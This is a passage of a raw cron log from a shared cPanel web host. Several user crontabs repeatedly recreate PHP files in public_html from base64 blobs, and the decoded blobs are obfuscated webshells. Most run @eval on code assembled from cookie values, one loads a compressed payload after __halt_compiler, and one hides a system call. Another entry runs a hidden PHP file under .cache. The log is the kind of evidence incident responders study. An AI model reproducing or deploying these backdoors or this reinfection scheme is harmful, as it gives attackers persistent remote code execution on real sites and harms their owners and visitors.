MDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:41:01 medusa CROND[7403]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:41:01 medusa CROND[7408]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:41:01 medusa CROND[7410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:41:01 medusa CROND[7412]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:41:01 medusa CROND[7413]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:41:01 medusa CROND[7414]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:41:01 medusa CROND[7415]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:41:01 medusa CROND[7417]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:41:01 medusa CROND[7416]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:42:01 medusa CROND[25642]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:42:01 medusa CROND[25643]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:42:01 medusa CROND[25644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:42:01 medusa CROND[25645]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:42:01 medusa CROND[25646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:42:01 medusa CROND[25647]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:42:01 medusa CROND[25651]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:42:01 medusa CROND[25652]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:42:01 medusa CROND[25653]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:42:01 medusa CROND[25654]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:42:01 medusa CROND[25655]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:42:01 medusa CROND[25657]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:42:01 medusa CROND[25669]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:43:02 medusa CROND[10410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:43:02 medusa CROND[10411]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:43:02 medusa CROND[10412]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:43:02 medusa CROND[10413]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:43:02 medusa CROND[10414]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:43:02 medusa CROND[10415]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:43:02 medusa CROND[10421]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:43:02 medusa CROND[10422]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:43:02 medusa CROND[10423]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
